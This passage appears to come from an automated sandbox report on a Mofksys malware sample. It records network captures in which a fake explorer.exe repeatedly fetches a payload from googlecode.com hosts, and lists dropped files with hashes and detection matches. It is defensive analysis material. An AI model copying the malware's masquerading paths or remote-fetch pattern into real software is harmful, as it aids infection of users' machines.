Jul 16, 2022 23:57:33.918744087 CEST	2208	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49845	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:40.987526894 CEST	2440	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd03.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:41.016335964 CEST	2441	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:40 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:41.016365051 CEST	2441	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49851	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:42.486418009 CEST	2536	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd01.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:42.513360023 CEST	2537	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:42 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:42.513382912 CEST	2538	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49855	142.250.102.82	80	C:\Windows\Resources\Themes\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 16, 2022 23:57:43.815694094 CEST	2608	OUT	GET /files/tjcm.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: codecmd02.googlecode.com Connection: Keep-Alive
Jul 16, 2022 23:57:43.842459917 CEST	2610	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1575 Date: Sat, 16 Jul 2022 21:57:43 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand
Jul 16, 2022 23:57:43.842511892 CEST	2610	IN	Data Raw: 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: ing/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span id=logo aria-label=Google></span></a> <p><b>404.</

Target ID:	0
Start time:	23:56:37
Start date:	16/07/2022
Path:	C:\Users\user\Desktop\sJ9Q8UWMAX.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\sJ9Q8UWMAX.exe"
Imagebase:	0x400000
File size:	3987229 bytes
MD5 hash:	7FDB00C80F0250575A05601C08627D50
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000000.00000000.435290439.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	23:56:41
Start date:	16/07/2022
Path:	C:\Users\user\Desktop\sj9q8uwmax.exe
Wow64 process (32bit):	true
Commandline:	c:\users\user\desktop\sj9q8uwmax.exe
Imagebase:	0x3d0000
File size:	3848888 bytes
MD5 hash:	871EB4B8AEFAEA1113DD3F08B7CB535C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	2
Start time:	23:56:47
Start date:	16/07/2022
Path:	C:\Windows\Resources\Themes\icsys.icn.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Resources\Themes\icsys.icn.exe
Imagebase:	0x400000
File size:	138316 bytes
MD5 hash:	0A9BDF90EF50DEF16C6D4C363D0F0B9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000002.00000002.490867469.0000000000402000.00000080.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000002.00000000.456086983.0000000000401000.00000080.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: C:\Windows\Resources\Themes\icsys.icn.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Target ID:	3
Start time:	23:56:51
Start date:	16/07/2022
Path:	C:\Users\user\Desktop\sj9q8uwmax.exe
Wow64 process (32bit):	true
Commandline:	"c:\users\user\desktop\sj9q8uwmax.exe " --local-service
Imagebase:	0x3d0000
File size:	3848888 bytes
MD5 hash:	871EB4B8AEFAEA1113DD3F08B7CB535C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	5
Start time:	23:56:51
Start date:	16/07/2022
Path:	C:\Windows\Resources\Themes\explorer.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\resources\themes\explorer.exe
Imagebase:	0x400000
File size:	138466 bytes
MD5 hash:	DD8285E811872E2562A43A04A7B27672
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000005.00000000.464382819.0000000000401000.00000080.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: 00000005.00000002.700344270.0000000000402000.00000080.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Mofksys, Description: Yara detected Mofksys, Source: C:\Windows\Resources\Themes\explorer.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Target ID:	6
Start time:	23:56:58
Start date:	16/07/2022
Path:	C:\Users\user\Desktop\sj9q8uwmax.exe
Wow64 process (32bit):	true
Commandline:	"c:\users\user\desktop\sj9q8uwmax.exe " --local-control
Imagebase:	0x3d0000
File size:	3848888 bytes
MD5 hash:	871EB4B8AEFAEA1113DD3F08B7CB535C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	8
Start time:	23:57:01
Start date:	16/07/2022
Path:	C:\Windows\Resources\spoolsv.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\resources\spoolsv.exe SE
Imagebase:	0x400000
File size:	138457 bytes
MD5 hash:	A97B2BA7591F981B8BBB1CE5E78C8D3A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
